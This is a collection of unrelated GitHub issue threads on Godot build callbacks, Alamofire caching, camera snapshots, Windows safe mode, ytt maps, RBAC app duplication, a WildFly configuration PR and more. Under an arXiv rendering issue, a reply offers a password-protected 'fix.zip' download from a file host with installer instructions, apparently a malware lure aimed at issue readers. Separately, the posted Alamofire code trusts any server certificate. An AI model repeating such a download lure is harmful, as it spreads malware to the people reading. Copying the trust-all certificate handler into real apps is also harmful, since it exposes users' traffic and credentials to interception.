        ScopeFlags(
            StrictMode | Function,
        ),
        ScopeFlags(
            StrictMode,
        ),
        ScopeFlags(
            StrictMode | Function,
        ),
    ],
    bindings: [
        {
            "fn": 0,
            "func": 5,
            "f": 8,
        },
        {
            "a": 1,
            "b": 2,
            "c": 3,
            "d": 4,
        },
        {
            "arg": 6,
        },
        {
            "value": 7,
        },
        {
            "f": 9,
        },
    ],
    unresolved_references: [
        {},
        {},
        {},
        {},
        {},
    ],
}


Improve build callbacks

Build callbacks now return bool to determine if the build was successful. If the build fails, the editor won't run the game.
Makes sure build callbacks are called after saving the scene ("Save Before Running" option).

Seems ok, how is the user feedback? (ie, if callback fail, what is shown?). Also are you using a progress bar during build?

I am using progress bar for blocking builds (like when running the game). Tool builds (for exported variables and tool scripts) are background.

The feedback is the callback reponsability.


Alamofire Not Returning Proper Results After Specific API Call is Ran

I have had Alamofire with SwiftyJSON set up within my app for a while now and it has been working great for get and post restful api calls. I am implementing a new filter using a post call and the results are as expected when the filter is applied but when I go to turn off the filter the results I am getting returned are the same results from when the filter was applied. Any ideas? Appreciate any help!
Alamofire Configuration:
    class func beforeAndAfterFilterCall(page:Int, onCompletion: ([Case]) -> Void) {

        let url = "https://"+UserDefaults.getIPAddress()+"/someurlstuffhere/"+String(page)
        runGetCommand(url, onCompletion: { json, err in

            var cases = [Case]()

            if json != nil && json.array != nil {

                for jsonFound:JSON in json.array! {

                    cases.append(Case(json:jsonFound))
                }
            }

            onCompletion(cases as [Case])
        })
    }

    class func filterCall(filterOnThis:[String:AnyObject], onCompletion: ([Case]) -> Void) {

        let url = "https://"+UserDefaults.getIPAddress()+"/someurlstuffhere/filter"
        runPostCommand(url, post: filterOnThis, onCompletion: { json, err in

            var cases = [Case]()

            if json != nil && json.array != nil {

                for jsonFound:JSON in json.array! {

                    cases.append(Case(json:jsonFound))
                }
            }

            onCompletion(cases as [Case])
        })
    }

    /* Run a get rest call and return the JSON found. */
    class func runGetCommand(url:String, onCompletion: ServiceResponse) {

        let task = getAlamofireManager().request(.GET, url, headers:getHeaders())
            .responseJSON { response in

                if((response.result.value) != nil){

                    print(response.debugDescription)

                    onCompletion(JSON(response.result.value!), nil)

                } else{
                    print("Something went wrong when running the get command. Maybe bad credentials or ip!")
                    onCompletion(nil, nil)
                }
            }
        task.resume()
    }

    /* Run a post rest call and return the JSON found. */
    class func runPostCommand(url:String, post:[String: AnyObject], onCompletion: ServiceResponse) {

        let task = getAlamofireManager().request(.POST, url, parameters: post, encoding:.JSON, headers:getHeaders())
            .responseJSON { response in

                if((response.result.value) != nil){

                    print(response.debugDescription)

                    onCompletion(JSON(response.result.value!), nil)

                } else{
                    print("Something went wrong when running the get command. Maybe bad credentials or ip!")
                    onCompletion(nil, nil)
                }
        }
        task.resume()
    }

    /* Initialize the headers for the api call */
    private static func getHeaders() -> [String:String] {

        let user = UserDefaults.getUsername()
        let password = UserDefaults.getPassword()
        let credentialData = "\(user):\(password)".dataUsingEncoding(NSUTF8StringEncoding)!
        let base64Credentials = credentialData.base64EncodedStringWithOptions([])
        let headers = [
            "Authorization": "Basic \(base64Credentials)",
            "Accept": "application/json"
        ]

        return headers
    }

    /* Initialize the Alamofire manager */
    private static func getAlamofireManager() -> Manager {

        let manager = Alamofire.Manager.sharedInstance
        manager.session.configuration.timeoutIntervalForRequest = 5

        manager.delegate.sessionDidReceiveChallenge = { session, challenge in
            var disposition: NSURLSessionAuthChallengeDisposition = .PerformDefaultHandling
            var credential: NSURLCredential?

            if challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust {
                disposition = NSURLSessionAuthChallengeDisposition.UseCredential
                credential = NSURLCredential(forTrust: challenge.protectionSpace.serverTrust!)
            } else {
                if challenge.previousFailureCount > 0 {
                    disposition = .CancelAuthenticationChallenge
                } else {
                    credential = manager.session.configuration.URLCredentialStorage?.defaultCredentialForProtectionSpace(challenge.protectionSpace)

                    if credential != nil {
                        disposition = .UseCredential
                    }
                }
            }
            return (disposition, credential)
        }

        return manager
    }

Debugging output from the print(response.debugDescription) calls:
When filter is called:
[Request]: <NSMutableURLRequest: 0x7fe8334f0bf0> { URL: https://<IP_ADDRESS>/someurlstuffhere/filter }
[Response]: <NSHTTPURLResponse: 0x7fe8340c8b20> { URL: https://<IP_ADDRESS>/someurlstuffhere/filter } { status code: 200, headers {
    "Cache-Control" = "no-store, no-cache, must-revalidate, post-check=0, pre-check=0";
    Connection = "Keep-Alive";
    "Content-Encoding" = gzip;
    "Content-Length" = 765;
    "Content-Type" = "text/html; charset=UTF-8";
    Date = "Thu, 20 Oct 2016 13:53:08 GMT";
    Expires = "Thu, 19 Nov 1981 08:52:00 GMT";
    "Keep-Alive" = "timeout=5, max=100";
    Pragma = "no-cache";
    Server = "Apache/2.2.22 (Ubuntu)";
    Vary = "Accept-Encoding";
} }
[Data]: 4140 bytes
[Result]: SUCCESS:

Get call after the filter call is to be removed:
[Request]: <NSMutableURLRequest: 0x7fe8341321b0> { URL: https://<IP_ADDRESS>/someurlstuffhere/0 }
[Response]: <NSHTTPURLResponse: 0x7fe834402990> { URL: https://<IP_ADDRESS>/someurlstuffhere/0 } { status code: 200, headers {
    "Cache-Control" = "no-store, no-cache, must-revalidate, post-check=0, pre-check=0";
    Connection = "Keep-Alive";
    "Content-Encoding" = gzip;
    "Content-Length" = 765;
    "Content-Type" = "text/html; charset=UTF-8";
    Date = "Thu, 20 Oct 2016 13:55:02 GMT";
    Expires = "Thu, 19 Nov 1981 08:52:00 GMT";
    "Keep-Alive" = "timeout=5, max=100";
    Pragma = "no-cache";
    Server = "Apache/2.2.22 (Ubuntu)";
    Vary = "Accept-Encoding";
} }
[Data]: 4140 bytes
[Result]: SUCCESS:

Sorry, we use our GitHub project for bug reports and feature requests. In the future, you should open questions like this on Stack Overflow and tag alamofire.
Cheers. 🍻

From our Contribution Guidelines
Asking Questions
We don't use GitHub as a support forum. For any usage questions that are not specific to the project itself, please ask on Stack Overflow instead. By doing so, you'll be more likely to quickly solve your problem, and you'll allow anyone else with the same question to find the answer. This also allows maintainers to focus on improving the project for others.


Greater JPEG Snapshot Support - Request

Is there any chance that you could add greater .jpeg support for cameras (e.g., refresh image in main window every x seconds from snapshot URL)?  With the current version I can see pictures of my project with the notifications but not in the main window.
My Ubiquiti cameras do not support .mjpeg but do support .jpeg snapshot.  The plugin "Snapstream" works great with the web interface but unfortunately does not work with most apps including OctoPod.
Thank you so much for all your work on this project!

This is a nice improvement. I will see what I can do for a future release.
Thanks,
Gaston


Built-in Administrator cannot login to safe mode if disabled

Built-in Administrator accounts cannot be used to login in safe mode if they are disabled.  Can confirm for Win 7 and Win 10.
"Built-in Administrator accounts should never be used as service accounts on member servers, nor should they be used to log on to local computers (except in Safe Mode, which is permitted even if the account is disabled)."

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 19620533-3f60-a1cb-a679-ff6ff5dde2bc
Version Independent ID: 54583dac-de23-b64c-3396-fac964724595
Content: Implementing Least-Privilege Administrative Models
Content Source: WindowsServerDocs/identity/ad-ds/plan/security-best-practices/Implementing-Least-Privilege-Administrative-Models.md
Product: windows-server-threshold
Technology: identity-adds
GitHub Login: @MicrosoftGuyJFlo
Microsoft Alias: joflore

Thanks for your dedication to our documentation. If we have been unable to review your issue in a timely manner, we sincerely apologize for the delayed response. We have captured the informtion you have provided for review. We are closing this issue for now, but if you feel that it's still a concern, please respond and let us know. If you determine another possible update to our documentation, please don't hesitate to reach out again. #please-close


RFE: follow python's lead in making maps iterable

Let's allow maps to be used in for loops by iterating over the keys.
If I have a map defined:
#@data/values
---
mymap:
  key1: value1
  key2: value2

It would be conveninent to be able to do something like:
#@ load("@ytt:data", "data")
---
data:
  #@ for/end k in data.values.mymap:
  - name: #@ k
    value: #@ data.values.mymap[k]

The examples in https://github.com/k14s/ytt/commit/ead85c65ed47542199debc2ae974f4687a27179a featuring struct.decode(...) seem convoluted:
#@ load("@ytt:data", "data")
#@ load("@ytt:struct", "struct")
---
#@ mymap = struct.decode(data.values.mymap)
data:
  #@ for/end k in mymap:
  - name: #@ k
    value: #@ mymap[k]

yes, totally agree. we should catch up data.values struct abilities to be able to do [x] accessor (in addition to .x) and also make it iterable.

closing this in favor of https://github.com/k14s/ytt/issues/208.


env-variable - current open project folder

I have credentials in my project and it would be more convenient for me to enter NOT absolute paths, but relative ones.

0.2.0 runs the command in the project directory, so you can use a relative path like ./whatever/script. Does that work for you?

@liff

Not working

Thank you!


[Bug]: In RBAC ->The resource not found error is displayed when user tries to duplicate the Apps

Is there an existing issue for this?

[X] I have searched the existing issues

Description
The resource not found error is displayed when user tries to duplicate the Apps

Steps To Reproduce

Go to the admin setting
Create a new role
Select a work space where the app should have 3 pages
Now remove edit and view access of one page
give this role access to user 1
now login as user 1
duplicate the same app in the workspace
the resource not found error is displayed

Public Sample App
No response
Issue video log
No response
Version
localhost

We have to give create permission as well in order to duplicate app


Retry vagrant plugin installation on failure

vagrant provision install missing plugins using, but it would be handy not to rely on first try; in case there are some network issues.
https://github.com/psss/tmt/blob/4ffc9c342c428695a54b20d958138a70a06655f9/tmt/steps/provision/vagrant.py#L235

The vagrant plugin has been removed a long time ago and there are currently no plans to reintroduce it.


Dynamics of inner functions revisited

Description
pictograms and pagerefs are not reproduced in html
(Optional:) Please add any files, screenshots, or other information here.
No response
(Required) What is this issue most closely related to? Select one.
Figures
Internal issue ID
5a8c2091-0a71-4c8e-9d70-96217b8117cd
Paper URL
https://arxiv.org/html/2305.15278v3
Browser
Firefox/129.0
Device Type
Desktop

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


WFCORE-4599 Handle wildfly-config.xml better for authentication

This was previously cached in a static, which does not work for
multiple deployments. This uses an empty authentication context
for the default (if it was not explicitly set), then explicitly
sets per-deployment ClassLoader defaults if the relevant file is
present in the deployment.

As I understand it this is a change in response to a regression caused by https://github.com/wildfly/wildfly-core/pull/3870 - it seems like quite a large change in behaviour to cover a regression.
I haven't seen which error is being discussed but from https://github.com/wildfly/wildfly-core/pull/3870 a simple change there could have been to set the global default back to 'null' so discovery can happen again.
Not necessarily against this change going in but I had already raised this Jira https://issues.jboss.org/browse/WFCORE-4573 to revisit the handling of wildfly-config.xml in deployments - this descriptor contains the configuration for multiple components.  The reason I had raised it as a feature request is one area to consider is the question of precedence - should the global default have priority over the deployment's configuration?  Should instead the two be merged?  If we merge what order should we use?  Once we using the deployments configuration in a DUP should other managed resources be available such as security domains / credential stores?
Going to add a couple of code comments but other than that no objection.

On Tue, 13 Aug 2019 at 21:17, Darran Lofthouse<EMAIL_ADDRESS>wrote:

As I understand it this is a change in response to a regression caused by
#3870 https://github.com/wildfly/wildfly-core/pull/3870 - it seems like
quite a large change in behaviour to cover a regression.

It's not really. If there is only a single deployment in the server then
this behaviour should be exactly the same. If there are multiple
deployments this will stop potential leakage of the wildfly-config.xml from
other deployments.

I haven't seen which error is being discussed but from #3870
https://github.com/wildfly/wildfly-core/pull/3870 a simple change there
could have been to set the global default back to 'null' so discovery can
happen again.

A global default that is discovered once by the TCCL is 100% wrong for an
application server. Each deployment can have its own TCCL and its own
wildfly-config.xml, you can't just pick one at random every time like we
currently do.

Not necessarily against this change going in but I had already raised this
Jira https://issues.jboss.org/browse/WFCORE-4573 to revisit the handling
of wildfly-config.xml in deployments - this descriptor contains the
configuration for multiple components. The reason I had raised it as a
feature request is one area to consider is the question of precedence -
should the global default have priority over the deployment's
configuration? Should instead the two be merged? If we merge what order
should we use? Once we using the deployments configuration in a DUP should
other managed resources be available such as security domains / credential
stores?

Going to add a couple of code comments but other than that no objection.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/wildfly/wildfly-core/pull/3892?email_source=notifications&email_token=AACQG65L3ZZJTMWXMPNAFE3QEKJ23A5CNFSM4IK5R2U2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD4FK5CA#issuecomment-520793736,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AACQG65L66RRRRDVKN5Z2GTQEKJ23ANCNFSM4IK5R2UQ
.

Overall the only scenario I see this breaking is if a user has configured the server with the 'wildfly.config.url' system property and has accidentally included a wildfly-config.xml in their deployment as now the deployment gets higher priority than the system property.

Just thinking if a check could be made to also check if the system property has been set but that would only work without the line on boot setting the empty AuthenticationContext as well.

@stuartwdouglas thanks


So ... How to export PNGs?

On Ubuntu. I know you're learning to love me.
New package worked fine to install and load, fog of war included.

You can't export PNGs anymore.  The feature has been disabled because of issues with Qt playing nice with OpenGL.  I should try it again now that Qt has updated a few times... but previously, any attempts to read from an OpenGL surface resulted in a black image.

Wouldn't hurt as it was the sole reason to use TerraFirma over alternatives for me - the ability to output full-resolution PNGs with my fog of war applied to them. Was kinda stoked, was going to do an "evolution of the map" thing with

Pfft, fumble fingers.
... with that. I was going to do an "evolution of the map" thing with that.

I opened the source in QtCreator and patched the button back in, wired it to MainWindow::save():

Yea it works with Whatever version of Qt is shipping on archlinux now.

Excellent news.  I'll test it out on an integrated GPU just to be sure and then add that feature back in.

Cool!
Its a shame the feature doesn't quite do what I want. I am currently picking apart the code to see how I would render the whole map, not just the current view. (preferably with or without textures)

This is not back in yet due to changes in the way I compile Qt needing more testing.